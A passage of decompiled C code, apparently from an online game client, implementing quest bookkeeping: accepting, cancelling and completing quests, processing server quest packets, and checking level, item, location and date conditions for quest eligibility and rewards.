= 0; if ( v3 ) operator delete__(v3); v1->m_MaxOfQuestListWithNPC = 0; v1->m_NumOfQuestListWithNPC = 0; } // 5DB538: using guessed type int (__stdcall *CQuest___vftable_)(int sklidx); //----- (005636F0) -------------------------------------------------------- int __thiscall CQuest::InitQuestBF(CQuest *this, int NumOfQuest) { CQuest *v2; // esi@1 unsigned int v3; // ebx@6 void *v4; // edi@6 int result; // eax@6 int v6; // edi@7 int i; // ecx@7 v2 = this; if ( this->m_NumOfQuestBF < NumOfQuest ) { if ( this->m_pQuestArray ) { free(this->m_pQuestArray); v2->m_pQuestArray = 0; } v2->m_NumOfQuestBF = 0; } if ( v2->m_pQuestArray ) goto LABEL_11; v3 = 32 * NumOfQuest; v4 = malloc(32 * NumOfQuest); result = 0; v2->m_pQuestArray = (PLAYER_QUEST_INFO *)v4; if ( v4 ) { memset(v4, 0, 4 * (v3 >> 2)); v6 = (int)((char *)v4 + 4 * (v3 >> 2)); for ( i = 0; i; --i ) *(_BYTE *)v6++ = 0; v2->m_NumOfQuestBF = NumOfQuest; LABEL_11: result = v2->m_pQuestArray != 0; } v2->m_NumOfQuest = 0; return result; } //----- (00563770) -------------------------------------------------------- void __thiscall CQuest::ClearQuest(CQuest *this) { this->m_NumOfQuest = 0; this->m_ProcessedTime = time(0); } //----- (00563790) -------------------------------------------------------- PLAYER_QUEST_INFO *__thiscall CQuest::GetQuestInfo(CQuest *this, unsigned __int16 nID) { int v2; // edx@2 int v3; // eax@2 PLAYER_QUEST_INFO *v4; // esi@3 PLAYER_QUEST_INFO *v5; // ecx@3 PLAYER_QUEST_INFO *result; // eax@6 if ( !this->m_NumOfQuestBF || (v2 = this->m_NumOfQuest, v3 = 0, v2 <= 0) ) goto LABEL_12; v4 = this->m_pQuestArray; v5 = this->m_pQuestArray; while ( v5->ID != nID ) { ++v3; ++v5; if ( v3 >= v2 ) return 0; } if ( v3 != -1 ) result = &v4[v3]; else LABEL_12: result = 0; return result; } //----- (005637E0) -------------------------------------------------------- PLAYER_QUEST_INFO *__thiscall CQuest::GetQuestInfoByIndex(CQuest *this, int nIndex) { PLAYER_QUEST_INFO *result; // eax@2 if ( nIndex < this->m_NumOfQuest ) result = &this->m_pQuestArray[nIndex]; else result = 0; return result; } //----- (00563800) -------------------------------------------------------- void __thiscall CQuest::SetQuestInfoClearRepeat(CQuest *this, PLAYER_QUEST_INFO *pQuestInfo) { if ( pQuestInfo ) { pQuestInfo->Data.ProgressStep = 0; *(_DWORD *)&pQuestInfo->Data.End_NPCMobCount[0] = 0; pQuestInfo->Data.End_NPCMobCount[4] = 0; pQuestInfo->Data._bf26 &= 0xFCu; pQuestInfo->Data.End_RunningTimeSec = 0; } } //----- (00563830) -------------------------------------------------------- void __thiscall CQuest::SetQuestClear(CQuest *this, unsigned __int16 nID) { CQuest *v2; // edx@1 int v3; // ecx@2 int v4; // eax@2 PLAYER_QUEST_INFO *v5; // esi@3 v2 = this; if ( this->m_NumOfQuestBF ) { v3 = this->m_NumOfQuest; v4 = 0; if ( v3 > 0 ) { v5 = v2->m_pQuestArray; while ( v5->ID != nID ) { ++v4; ++v5; if ( v4 >= v2->m_NumOfQuest ) return; } if ( v4 != -1 ) { memcpy(&v2->m_pQuestArray[v4], &v2->m_pQuestArray[v4 + 1], 32 * (v3 - v4 - 1)); --v2->m_NumOfQuest; } } } } //----- (005638A0) -------------------------------------------------------- int __thiscall CQuest::SetQuestAccept(CQuest *this, unsigned __int16 nID) { CQuest *v2; // ebx@1 PLAYER_QUEST_INFO *v3; // eax@2 __int64 v5; // qax@6 void *v6; // edi@6 unsigned __int16 QuestInfo; // [sp+8h] [bp-24h]@6 char v8; // [sp+Ah] [bp-22h]@6 __int64 v9; // [sp+Bh] [bp-21h]@6 int v10; // [sp+13h] [bp-19h]@6 int v11; // [sp+17h] [bp-15h]@6 int v12; // [sp+1Bh] [bp-11h]@6 int v13; // [sp+1Fh] [bp-Dh]@6 int v14; // [sp+23h] [bp-9h]@6 char v15; // [sp+27h] [bp-5h]@6 v2 = this; if ( !CQuestData::GetQuestData(this->m_pQuestData, nID) ) return 0; v3 = CQuest::GetQuestInfo(v2, nID); if ( !v3 ) { if ( v2->m_NumOfQuest < v2->m_NumOfQuestBF ) { v9 = 0i64; v10 = 0; v11 = 0; v12 = 0; v13 = 0; v14 = 0; QuestInfo = nID; v8 = 6; v15 = 0; v5 = _time64(0); v6 = &v2->m_pQuestArray[v2->m_NumOfQuest]; v9 = v5; memcpy(v6, &QuestInfo, 0x20u); ++v2->m_NumOfQuest; return 1; } return 0; } v3->Status = 6; v3->Data.ProgressStep = 0; *(_DWORD *)&v3->Data.End_NPCMobCount[0] = 0; v3->Data.End_NPCMobCount[4] = 0; v3->Data._bf26 &= 0xFCu; v3->Data.End_RunningTimeSec = 0; return 1; } //----- (00563980) -------------------------------------------------------- int __thiscall CQuest::SetQuestCancel(CQuest *this, unsigned __int16 nID) { CQuest *v2; // edi@1 PLAYER_QUEST_INFO *v3; // esi@1 QUEST_DATA *v4; // eax@1 int result; // eax@4 v2 = this; v3 = CQuest::GetQuestInfo(this, nID); v4 = CQuestData::GetQuestData(v2->m_pQuestData, nID); if ( v3 && v4 ) { if ( v4->Repeatable ) { v3->Status = 4; v3->Data.ProgressStep = 0; *(_DWORD *)&v3->Data.End_NPCMobCount[0] = 0; v3->Data.End_NPCMobCount[4] = 0; v3->Data._bf26 &= 0xFCu; v3->Data.End_RunningTimeSec = 0; result = 1; } else { CQuest::SetQuestClear(v2, nID); result = 1; } } else { result = 0; } return result; } //----- (005639F0) -------------------------------------------------------- int __thiscall CQuest::SetQuestProgress(CQuest *this, unsigned __int16 nID, char ProgressStep) { int result; // eax@1 result = (int)CQuest::GetQuestInfo(this, nID); if ( result ) { *(_BYTE *)(result + 23) = ProgressStep; result = 1; } return result; } //----- (00563A10) -------------------------------------------------------- int __thiscall CQuest::SetQuestFailed(CQuest *this, unsigned __int16 nID) { int result; // eax@1 result = (int)CQuest::GetQuestInfo(this, nID); if ( result ) { *(_BYTE *)(result + 2) = 7; result = 1; } return result; } //----- (00563A30) -------------------------------------------------------- int __thiscall CQuest::SetQuestDone(CQuest *this, PLAYER_QUEST_INFO *pQuestInfo) { int result; // eax@1 CQuest *v3; // ebx@1 int v4; // edi@2 __int64 v5; // qax@3 result = 0; v3 = this; if ( pQuestInfo ) { result = (int)CQuestData::GetQuestData(this->m_pQuestData, pQuestInfo->ID); v4 = result; if ( result ) { pQuestInfo->Status = 2 * (*(_BYTE *)(result + 12) != 0) + 2; v5 = _time64(0); HIDWORD(pQuestInfo->Data.EndTime) = HIDWORD(v5); HIDWORD(v5) = pQuestInfo->Data.RepeatCount + 1; LODWORD(pQuestInfo->Data.EndTime) = v5; pQuestInfo->Data.RepeatCount = HIDWORD(v5); v3->vfptr->Occure_Quest_Done(v3, pQuestInfo, (QUEST_DATA *)v4); result = 1; } } return result; } //----- (00563AA0) -------------------------------------------------------- int __thiscall CQuest::SetQuestAbort(CQuest *this, unsigned __int16 nID) { int result; // eax@1 result = (int)CQuest::GetQuestInfo(this, nID); if ( result ) { *(_BYTE *)(result + 2) = 1; result = 1; } return result; } //----- (00563AC0) -------------------------------------------------------- int __thiscall CQuest::Recv_NC_CHAR_QUEST_DOING_CMD_ACK(CQuest *this, PROTO_NC_CHAR_QUEST_DOING_CMD *pQuestPlayerDoingData) { PROTO_NC_CHAR_QUEST_DOING_CMD *v2; // esi@1 CQuest *v3; // ebx@1 unsigned __int8 v4; // al@3 int v5; // edx@4 const void *v6; // esi@4 int v7; // eax@5 PLAYER_QUEST_INFO *v8; // ecx@6 int v9; // edi@9 signed int v10; // eax@10 void *v11; // eax@12 unsigned __int8 i; // [sp+Bh] [bp-5h]@3 int bFailed; // [sp+Ch] [bp-4h]@3 v2 = pQuestPlayerDoingData; v3 = this; if ( pQuestPlayerDoingData->bNeedClear ) { this->m_NumOfQuest = 0; this->m_ProcessedTime = time(0); } v4 = 0; bFailed = 0; i = 0; if ( pQuestPlayerDoingData->nNumOfDoingQuest ) { while ( 1 ) { v5 = v3->m_NumOfQuestBF; v6 = (char *)&v2[1] + 32 * v4; if ( v5 ) { v7 = 0; if ( v3->m_NumOfQuest > 0 ) { v8 = v3->m_pQuestArray; while ( v8->ID != *(_WORD *)v6 ) { ++v7; ++v8; if ( v7 >= v3->m_NumOfQuest ) goto LABEL_9; } if ( v7 != -1 ) { v11 = &v3->m_pQuestArray[v7]; if ( v11 ) break; } } } LABEL_9: v9 = v3->m_NumOfQuest; if ( v9 < v5 ) { memcpy(&v3->m_pQuestArray[v9], v6, sizeof(v3->m_pQuestArray[v9])); ++v3->m_NumOfQuest; goto LABEL_15; } v10 = 0; LABEL_16: bFailed |= v10 == 0; v2 = pQuestPlayerDoingData; v4 = i++ + 1; if ( i >= pQuestPlayerDoingData->nNumOfDoingQuest ) return bFailed == 0; } memcpy(v11, v6, 0x20u); LABEL_15: v10 = 1; goto LABEL_16; } return bFailed == 0; } //----- (00563BB0) -------------------------------------------------------- int __thiscall CQuest::Recv_NC_CHAR_QUEST_DONE_CMD_ACK(CQuest *this, PROTO_NC_CHAR_QUEST_DONE_CMD *pQuestPlayerDoneData) { PROTO_NC_CHAR_QUEST_DONE_CMD *v2; // eax@1 int v3; // ebp@1 bool v4; // zf@1 CQuest *v5; // edx@1 int v6; // esi@2 __int16 v7; // di@2 int v8; // eax@3 PLAYER_QUEST_INFO *v9; // ecx@4 int v10; // edi@7 signed int v11; // eax@8 void *v12; // eax@10 int bFailed; // [sp+4h] [bp-28h]@1 __int16 PlayerQuestInfo; // [sp+8h] [bp-24h]@2 char v16; // [sp+Ah] [bp-22h]@1 v2 = pQuestPlayerDoneData; v3 = 0; v4 = pQuestPlayerDoneData->nNumOfDoneQuest == 0; v5 = this; bFailed = 0; v16 = 2; if ( !v4 ) { while ( 1 ) { v6 = v5->m_NumOfQuestBF; v7 = *((_WORD *)&v2[1].chrregnum + (unsigned __int16)v3); PlayerQuestInfo = *((_WORD *)&v2[1].chrregnum + (unsigned __int16)v3); if ( v6 ) { v8 = 0; if ( v5->m_NumOfQuest > 0 ) { v9 = v5->m_pQuestArray; while ( v9->ID != v7 ) { ++v8; ++v9; if ( v8 >= v5->m_NumOfQuest ) goto LABEL_7; } if ( v8 != -1 ) { v12 = &v5->m_pQuestArray[v8]; if ( v12 ) break; } } } LABEL_7: v10 = v5->m_NumOfQuest; if ( v10 < v6 ) { memcpy(&v5->m_pQuestArray[v10], &PlayerQuestInfo, sizeof(v5->m_pQuestArray[v10])); ++v5->m_NumOfQuest; goto LABEL_13; } v11 = 0; LABEL_14: v4 = v11 == 0; v2 = pQuestPlayerDoneData; ++v3; bFailed |= v4; if ( (unsigned __int16)v3 >= pQuestPlayerDoneData->nNumOfDoneQuest ) return bFailed == 0; } memcpy(v12, &PlayerQuestInfo, 0x20u); LABEL_13: v11 = 1; goto LABEL_14; } return bFailed == 0; } //----- (00563C90) -------------------------------------------------------- int __thiscall CQuest::QuestPlayer_LevelChange(CQuest *this, char nPlayerLevel) { CQuest *v2; // esi@1 int v3; // eax@1 int v4; // ebp@1 int v5; // edi@3 QUEST_DATA *v6; // eax@5 int v7; // eax@7 int result; // eax@10 int v9; // [sp+Ch] [bp-8h]@2 int bResult; // [sp+10h] [bp-4h]@1 v2 = this; v3 = this->m_NumOfQuest; v4 = 0; bResult = 0; if ( v3 <= 0 ) { result = 0; } else { v9 = 0; if ( v3 <= 0 ) goto LABEL_9; do { v5 = (int)&v2->m_pQuestArray[v9]; if ( v5 ) { if ( *(_BYTE *)(v5 + 2) == 6 ) { v6 = CQuestData::GetQuestData(v2->m_pQuestData, *(_WORD *)v5); if ( v6 ) { if ( v6->End.bLevel == 1 ) { v7 = v6->End.Level; if ( (unsigned __int8)v7 <= nPlayerLevel ) { bResult = 1; v2->vfptr->Occure_LevelChange(v2, *(_WORD *)v5, nPlayerLevel, v7); } } } } } LABEL_9: ++v4; ++v9; } while ( v4 < v2->m_NumOfQuest ); result = bResult; } return result; } //----- (00563D30) -------------------------------------------------------- int __thiscall CQuest::IsQuestArea(CQuest *this, unsigned int CurrentX, unsigned int CurrentY, unsigned int QuestX, unsigned int QuestY, unsigned int QuestRange) { return QuestRange >= (unsigned int)(unsigned __int64)sqrt((double)(abs(CurrentY - QuestY) + abs(CurrentX - QuestY))); } //----- (00563D70) -------------------------------------------------------- int __thiscall CQuest::GetNumOfDoingQuest(CQuest *this) { int v1; // edi@1 int result; // eax@1 int v3; // esi@1 int v4; // ebx@2 PLAYER_QUEST_INFO *v5; // edx@3 char v6; // dl@4 v1 = this->m_NumOfQuest; result = 0; v3 = 0; if ( v1 > 0 ) { v4 = 0; if ( v1 <= 0 ) goto LABEL_7; do { v5 = &this->m_pQuestArray[v4]; if ( v5 ) { v6 = v5->Status; if ( (unsigned __int8)v6 >= 6u ) { if ( (unsigned __int8)v6 <= 8u ) ++result; } } LABEL_7: ++v3; ++v4; } while ( v3 < v1 ); } return result; } //----- (00563DB0) -------------------------------------------------------- int __thiscall CQuest::IsQuestNPCMob(CQuest *this, QUEST_DATA *lpQuestData, unsigned __int16 nNPCID) { int result; // eax@1 signed int v4; // edx@5 char *v5; // eax@5 result = (int)lpQuestData; if ( lpQuestData ) { if ( !lpQuestData->Start.bNPC || lpQuestData->Start.NPCID != nNPCID ) { v4 = 0; v5 = &lpQuestData->End.NPCMobList[0].NPCMobAction; while ( !*(v5 - 4) || *v5 && *v5 != 3 || *((_WORD *)v5 - 1) != nNPCID ) { ++v4; v5 += 6; if ( v4 >= 5 ) return 0; } } result = 1; } return result; } //----- (00563E10) -------------------------------------------------------- int __thiscall CQuest::IsConversationNPCMob(CQuest *this, QUEST_DATA *lpQuestData, unsigned __int16 nNPCID) { int result; // eax@1 signed int v4; // ecx@2 char *v5; // eax@2 result = (int)lpQuestData; if ( lpQuestData ) { v4 = 0; v5 = &lpQuestData->End.NPCMobList[0].NPCMobAction; while ( !*(v5 - 4) || *v5 != 3 || *((_WORD *)v5 - 1) != nNPCID ) { ++v4; v5 += 6; if ( v4 >= 5 ) return 0; } result = 1; } return result; } //----- (00563E50) -------------------------------------------------------- unsigned __int16 __thiscall CQuest::GetRewardNPC(CQuest *this, QUEST_DATA *lpQuestData) { unsigned __int16 result; // ax@2 signed int v3; // eax@3 char *v4; // ecx@3 if ( lpQuestData ) { v3 = 0; v4 = &lpQuestData->End.NPCMobList[0].NPCMobAction; while ( !*(v4 - 4) || *v4 ) { ++v3; v4 += 6; if ( v3 >= 5 ) return -1; } result = lpQuestData->End.NPCMobList[v3].NPCMobID; } else { result = -1; } return result; } //----- (00563E90) -------------------------------------------------------- int __thiscall CQuest::IsSoonableQuest(CQuest *this, QUEST_DATA *lpQuestData) { CQuest *v2; // esi@1 unsigned __int8 v3; // al@2 PLAYER_QUEST_INFO *v4; // eax@10 char v5; // al@11 int result; // eax@19 tm *v7; // esi@21 int v8; // eax@21 __int16 nLocation; // [sp+20h] [bp-7Ch]@7 __int64 CurrentTime; // [sp+24h] [bp-78h]@7 __int64 *LocationX; // [sp+2Ch] [bp-70h]@7 char CurrentTM; // [sp+30h] [bp-6Ch]@21 int v13; // [sp+3Ch] [bp-60h]@28 int v14; // [sp+40h] [bp-5Ch]@25 int v15; // [sp+44h] [bp-58h]@22 char StartTM; // [sp+54h] [bp-48h]@21 int v17; // [sp+60h] [bp-3Ch]@28 int v18; // [sp+64h] [bp-38h]@25 int v19; // [sp+68h] [bp-34h]@22 char EndTM; // [sp+78h] [bp-24h]@21 int v21; // [sp+84h] [bp-18h]@29 int v22; // [sp+88h] [bp-14h]@26 int v23; // [sp+8Ch] [bp-10h]@23 v2 = this; if ( lpQuestData->Start.bLevel && ((v3 = ((int (*)(void))this->vfptr->GetQuestPlayerLevel)(), (unsigned __int8)(v3 + 5) < lpQuestData->Start.LevelMin) || v3 > lpQuestData->Start.LevelMax) || lpQuestData->Start.bItem && v2->vfptr->GetQuestPlayerItemLot(v2, lpQuestData->Start.ItemID) < lpQuestData->Start.ItemLot || lpQuestData->Start.bLocation && ((v2->vfptr->GetPlayerCurrentLocation( v2, (unsigned __int16 *)&nLocation, (unsigned int *)&LocationX, (unsigned int *)&CurrentTime), lpQuestData->Start.Location != nLocation) || !v2->vfptr->IsQuestArea( v2, (unsigned int)LocationX, CurrentTime, lpQuestData->Start.LocationX, lpQuestData->Start.LocationY, lpQuestData->Start.LocationRange)) || lpQuestData->Start.bQuest && ((v4 = CQuest::GetQuestInfo(v2, lpQuestData->Start.QuestID)) == 0 || (v5 = v4->Status, v5 != 2) && v5 != 4) || lpQuestData->Start.bRace && lpQuestData->Start.Race != v2->vfptr->GetQuestPlayerRace(v2) || lpQuestData->Start.bClass && lpQuestData->Start.Class != v2->vfptr->GetQuestPlayerClass(v2) || lpQuestData->Start.bGender && lpQuestData->Start.Gender != v2->vfptr->GetQuestPlayerGender(v2) ) { result = 0; } else { if ( lpQuestData->Start.bDate ) { _time64(&CurrentTime); memcpy(&CurrentTM, _localtime64(&CurrentTime), 0x24u); memcpy(&StartTM, _localtime64(&lpQuestData->Start.DateStart), 0x24u); LocationX = &lpQuestData->Start.DateEnd; v7 = _localtime64(&lpQuestData->Start.DateEnd); v8 = lpQuestData->Start.DateMode; memcpy(&EndTM, v7, 0x24u); switch ( v8 ) { case 0: if ( v15 >= v19 && v15 <= v23 ) goto LABEL_35; goto LABEL_24; case 1: if ( v14 >= v18 && v14 <= v22 ) goto LABEL_35; result = 0; break; case 2: if ( v13 >= v17 && v13 <= v21 ) goto LABEL_35; result = 0; break; case 3: if ( CurrentTime >= lpQuestData->Start.DateStart && (SHIDWORD(CurrentTime) < *((_DWORD *)LocationX + 1) || SHIDWORD(CurrentTime) <= *((_DWORD *)LocationX + 1) && (unsigned int)CurrentTime <= *(_DWORD *)LocationX) ) goto LABEL_35; LABEL_24: result = 0; break; default: goto LABEL_35; } } else { LABEL_35: result = 1; } } return result; } //----- (005640A0) -------------------------------------------------------- int __thiscall CQuest::IsDoingableQuest(CQuest *this, QUEST_DATA *lpQuestData) { CQuest *v2; // esi@1 unsigned __int8 v3; // al@3 v2 = this; return CQuest::IsSoonableQuest(this, lpQuestData) && (!lpQuestData->Start.bLevel || (v3 = v2->vfptr->GetQuestPlayerLevel(v2), v3 >= lpQuestData->Start.LevelMin) && v3 <= lpQuestData->Start.LevelMax); } //----- (005640E0) -------------------------------------------------------- int __thiscall CQuest::IsDoingableQuest(CQuest *this, unsigned __int16 hQuestID) { CQuest *v2; // edi@1 QUEST_DATA *v3; // eax@1 QUEST_DATA *v4; // esi@1 char v6; // al@5 v2 = this; v3 = CQuestData::GetQuestData(this->m_pQuestData, hQuestID); v4 = v3; return v3 && CQuest::IsSoonableQuest(v2, v3) && (!v4->Start.bLevel || (v6 = v2->vfptr->GetQuestPlayerLevel(v2), (unsigned __int8)v6 >= v4->Start.LevelMin) && (unsigned __int8)v6 <= v4->Start.LevelMax); } //----- (00564130) -------------------------------------------------------- int __thiscall CQuest::IsRewardAbleQuest(CQuest *this, PLAYER_QUEST_INFO *pQuestInfo) { CQuest *v2; // ebp@1 QUEST_DATA *v3; // eax@1 QUEST_DATA *v4; // edi@1 int result; // eax@4 signed int v6; // ecx@5 int v7; // eax@5 signed int v8; // ebx@11 int v9; // esi@11 __int16 nLocation; // [sp+14h] [bp-Ch]@16 unsigned int LocationY; // [sp+18h] [bp-8h]@16 unsigned int LocationX; // [sp+1Ch] [bp-4h]@16 v2 = this; v3 = CQuestData::GetQuestData(this->m_pQuestData, pQuestInfo->ID); v4 = v3; if ( v3 && (!v3->End.bLevel || (unsigned __int8)v2->vfptr->GetQuestPlayerLevel(v2) >= v3->End.Level) ) { v6 = 0; v7 = (int)&v4->End.NPCMobList[0].NPCMobAction; while ( !*(_BYTE *)(v7 - 4) || !*(_BYTE *)v7 || *(_BYTE *)v7 > 3u || (unsigned __int8)pQuestInfo->Data.End_NPCMobCount[v6] >= *(_BYTE *)(v7 + 1) ) { ++v6; v7 += 6; if ( v6 >= 5 ) { v8 = 0; v9 = (int)&v4->End.ItemList[0].ItemID; while ( !*(_BYTE *)(v9 - 2) || v2->vfptr->GetQuestPlayerItemLot(v2, *(_WORD *)v9) >= *(_WORD *)(v9 + 2) ) { ++v8; v9 += 6; if ( v8 >= 5 ) { if ( !v4->End.bLocation || (v2->vfptr->GetPlayerCurrentLocation(v2, (unsigned __int16 *)&nLocation, &LocationX, &LocationY), v4->End.Location == nLocation) && v2->vfptr->IsQuestArea( v2, LocationX, LocationY, v4->End.LocationX, v4->End.LocationY, v4->End.LocationRange) ) { if ( (!v4->End.bScenario || pQuestInfo->Data._bf26 & 2) && (!v4->End.bRace || v4->End.Race == v2->vfptr->GetQuestPlayerRace(v2)) && (!v4->End.bClass || v4->End.Class == v2->vfptr->GetQuestPlayerClass(v2)) && (!v4->End.bTimeLimit || v4->End.TimeLimit > pQuestInfo->Data.End_RunningTimeSec) ) return 1; } goto LABEL_27; } } break; } } LABEL_27: result = 0; } else { result = 0; } return result; } //----- (005642B0) -------------------------------------------------------- int __thiscall CQuest::IsRewardAbleQuest(CQuest *this, unsigned __int16 hQuestID) { CQuest *v2; // esi@1 int result; // eax@1 v2 = this; result = (int)CQuest::GetQuestInfo(this, hQuestID); if ( result ) result = CQuest::IsRewardAbleQuest(v2, (PLAYER_QUEST_INFO *)result); return result; } //----- (005642E0) -------------------------------------------------------- void __thiscall CQuest::CQuest(CQuest *this, CQuestData *pQuestData) { CQuest *v2; // esi@1 int v3; // eax@1 v2 = this; this->vfptr = (CQuestVtbl *)&CQuest::_vftable_; this->m_pQuestData = pQuestData; this->m_NumOfQuest = 0; v3 = time(0); v2->m_NumOfQuestBF = 0; v2->m_pQuestArray = 0; v2->m_MaxOfQuestListWithNPC = 0; v2->m_NumOfQuestListWithNPC = 0; v2->m_pQuestListWithNPC = 0; v2->m_ProcessedTime = v3; } // 5DB538: using guessed type int (__stdcall *CQuest___vftable_)(int sklidx); //----- (00564320) -------------------------------------------------------- int __thiscall CQuest::SetQuestDone(CQuest *this, unsigned __int16 nID) { CQuest *v2; // esi@1 PLAYER_QUEST_INFO *v3; // eax@1 v2 = this; v3 = CQuest::GetQuestInfo(this, nID); return CQuest::SetQuestDone(v2, v3); } //----- (00564340) -------------------------------------------------------- PLAYER_QUEST_STATUS __thiscall CQuest::GetNewQuestStatus(CQuest *this, QUEST_DATA *lpQuestData) { CQuest *v2; // esi@1 PLAYER_QUEST_INFO *v3; // eax@1 PLAYER_QUEST_INFO *v4; // ecx@1 PLAYER_QUEST_STATUS result; // eax@2 unsigned __int8 v6; // al@10 v2 = this; v3 = CQuest::GetQuestInfo(this, lpQuestData->ID); v4 = v3; if ( v3 ) { result = v3->Status; switch ( result ) { case 3: if ( !CQuest::IsDoingableQuest(v2, lpQuestData) ) goto LABEL_4; goto LABEL_12; default: return result; case 4: result = CQuest::IsDoingableQuest(v2, lpQuestData) != 0 ? 4 : 0; break; case 5: result = CQuest::IsDoingableQuest(v2, lpQuestData) != 0 ? 5 : 0; break; case 6: case 8: result = CQuest::IsRewardAbleQuest(v2, v4) != 0 ? 8 : 6; break; } } else { if ( !CQuest::IsSoonableQuest(v2, lpQuestData) || lpQuestData->Start.bLevel && ((v6 = v2->vfptr->GetQuestPlayerLevel(v2), v6 < lpQuestData->Start.LevelMin) || v6 > lpQuestData->Start.LevelMax) ) LABEL_4: result = CQuest::IsSoonableQuest(v2, lpQuestData) != 0 ? 3 : 0; else LABEL_12: result = 5; } return result; } //----- (00564420) -------------------------------------------------------- PLAYER_QUEST_STATUS __thiscall CQuest::GetNewQuestStatus(CQuest *this, unsigned __int16 nID) { CQuest *v2; // esi@1 PLAYER_QUEST_STATUS result; // eax@1 v2 = this; result = (PLAYER_QUEST_STATUS)CQuestData::GetQuestData(this->m_pQuestData, nID); if ( result ) result = CQuest::GetNewQuestStatus(v2, (QUEST_DATA *)result); return result; } //----- (00564450) -------------------------------------------------------- int __thiscall CQuest::IsDoingQuest(CQuest *this, unsigned __int16 hQuestID) { CQuest *v2; // esi@1 QUEST_DATA *v3; // eax@1 PLAYER_QUEST_STATUS v4; // eax@2 v2 = this; v3 = CQuestData::GetQuestData(this->m_pQuestData, hQuestID); return v3 && ((v4 = CQuest::GetNewQuestStatus(v2, v3), v4 == 6) || v4 == 7 || v4 == 8); } //----- (00564490) -------------------------------------------------------- PLAYER_QUEST_STATUS __thiscall CQuest::DoingQuestUpdateStatus(CQuest *this, int nIndex) { CQuest *v2; // esi@1 PLAYER_QUEST_INFO *v3; // edi@2 PLAYER_QUEST_STATUS result; // eax@3 QUEST_DATA *v5; // eax@4 v2 = this; if ( nIndex < this->m_NumOfQuest && (v3 = &this->m_pQuestArray[nIndex]) != 0 ) { v5 = CQuestData::GetQuestData(this->m_pQuestData, v3->ID); if ( v5 ) { LOBYTE(result) = CQuest::GetNewQuestStatus(v2, v5); v3->Status = result; result = (unsigned __int8)result; } else { v3->Status = 0; result = 0; } } else { result = 0; } return result; } //----- (005644E0) -------------------------------------------------------- int __thiscall CQuest::GetQuestStatusWithNPC(CQuest *this, CQuest::NPC_QUEST_STATUS *kQuestStatus, QUEST_DATA *lpQuestData) { CQuest::NPC_QUEST_STATUS *v3; // edi@1 int v4; // eax@1 CQuest *v5; // ebx@1 int result; // eax@1 PLAYER_QUEST_STATUS v7; // eax@2 int v8; // ebp@12 unsigned __int16 v9; // bp@17 signed int kQuestStatusa; // [sp+10h] [bp+4h]@2 v3 = kQuestStatus; v4 = kQuestStatus->hID; v5 = this; kQuestStatus->eResultState = 0; kQuestStatus->lpQuestData = lpQuestData; result = CQuest::IsQuestNPCMob(this, lpQuestData, v4); if ( result ) { v7 = CQuest::GetNewQuestStatus(v5, lpQuestData); kQuestStatusa = v7; switch ( v7 ) { case 0: case 1: case 2: case 3: goto $L85615; case 4: case 7: if ( lpQuestData && lpQuestData->Start.bNPC && lpQuestData->Start.NPCID == v3->hID ) goto LABEL_23; return 0; case 5: if ( lpQuestData && lpQuestData->Start.bNPC && lpQuestData->Start.NPCID == v3->hID ) goto LABEL_23; return 0; case 6: v8 = v3->hID; if ( CQuest::IsConversationNPCMob(v5, lpQuestData, v3->hID) || lpQuestData && lpQuestData->Start.bNPC && lpQuestData->Start.NPCID == (_WORD)v8 ) goto LABEL_22; return 0; case 8: v9 = v3->hID; if ( v3->hID == CQuest::GetRewardNPC(v5, lpQuestData) ) goto LABEL_22; if ( lpQuestData && lpQuestData->Start.bNPC && lpQuestData->Start.NPCID == v9 ) { kQuestStatusa = 6; LABEL_22: v7 = kQuestStatusa; LABEL_23: v3->eResultState = v7; v3->nLevel = lpQuestData->Start.LevelMin; result = v7 != 0; } else { $L85615: result = 0; } break; default: goto LABEL_23; } } return result; } //----- (00564620) -------------------------------------------------------- int __thiscall CQuest::QuestPlayer_NPCMobKill(CQuest *this, unsigned __int16 nMobID) { CQuest *v2; // edi@1 int v3; // ebx@1 int v4; // esi@3 QUEST_DATA *v5; // eax@5 int v6; // edx@6 signed int v7; // ebx@6 signed int v8; // ecx@10 unsigned __int8 v9; // al@11 int v10; // ebp@11 PLAYER_QUEST_STATUS v11; // eax@11 int result; // eax@20 int v13; // [sp+18h] [bp-14h]@6 int i; // [sp+1Ch] [bp-10h]@1 int v15; // [sp+20h] [bp-Ch]@2 QUEST_DATA *pQuestData; // [sp+24h] [bp-8h]@5 int bResult; // [sp+28h] [bp-4h]@1 v2 = this; v3 = 0; bResult = 0; i = 0; if ( this->m_NumOfQuest <= 0 ) { result = 0; } else { v15 = 0; do { v4 = (int)&v2->m_pQuestArray[v15]; if ( v4 ) { if ( *(_BYTE *)(v4 + 2) == 6 ) { v5 = CQuestData::GetQuestData(v2->m_pQuestData, *(_WORD *)v4); pQuestData = v5; if ( v5 ) { v6 = (int)&v5->End.NPCMobList[0].NPCMobID; v7 = 0; v13 = (int)&v5->End.NPCMobList[0].NPCMobID; do { if ( *(_BYTE *)(v6 - 2) == 1 ) { if ( *(_WORD *)v6 == nMobID ) { if ( *(_BYTE *)(v6 + 2) == 1 ) { v8 = *(_BYTE *)(v6 + 3); if ( *(_BYTE *)(v7 + v4 + 24) < v8 ) { v9 = *(_BYTE *)(v7 + v4 + 24) + 1; *(_BYTE *)(v7 + v4 + 24) = v9; bResult = 1; v2->vfptr->Occure_NPCMobKill(v2, *(_WORD *)v4, nMobID, v9, v8); v10 = *(_BYTE *)(v4 + 2); v11 = CQuest::DoingQuestUpdateStatus(v2, i); if ( v10 == 6 ) { if ( v11 == 8 ) { v2->vfptr->Occure_NewStatusReward(v2, (PLAYER_QUEST_INFO *)v4, pQuestData); } else { if ( v11 == 7 ) v2->vfptr->Occure_NewStatusFailed(v2, (PLAYER_QUEST_INFO *)v4, pQuestData); } } v6 = v13; } } } } ++v7; v6 += 6; v13 = v6; } while ( v7 < 5 ); v3 = i; } } } ++v3; i = v3; ++v15; } while ( v3 < v2->m_NumOfQuest ); result = bResult; } return result; } //----- (00564760) -------------------------------------------------------- int __thiscall CQuest::QuestPlayer_TakeItem(CQuest *this, unsigned __int16 nItemID, unsigned __int16 nCurrentLot) { CQuest *v3; // esi@1 int v4; // ebx@1 int v5; // edi@3 QUEST_DATA *v6; // eax@5 int v7; // ebx@6 signed int v8; // ebp@9 int v9; // ebp@10 PLAYER_QUEST_STATUS v10; // eax@10 int result; // eax@18 int i; // [sp+18h] [bp-14h]@1 int v13; // [sp+1Ch] [bp-10h]@2 QUEST_DATA *pQuestData; // [sp+20h] [bp-Ch]@5 signed int v15; // [sp+24h] [bp-8h]@6 int bResult; // [sp+28h] [bp-4h]@1 v3 = this; v4 = 0; bResult = 0; i = 0; if ( 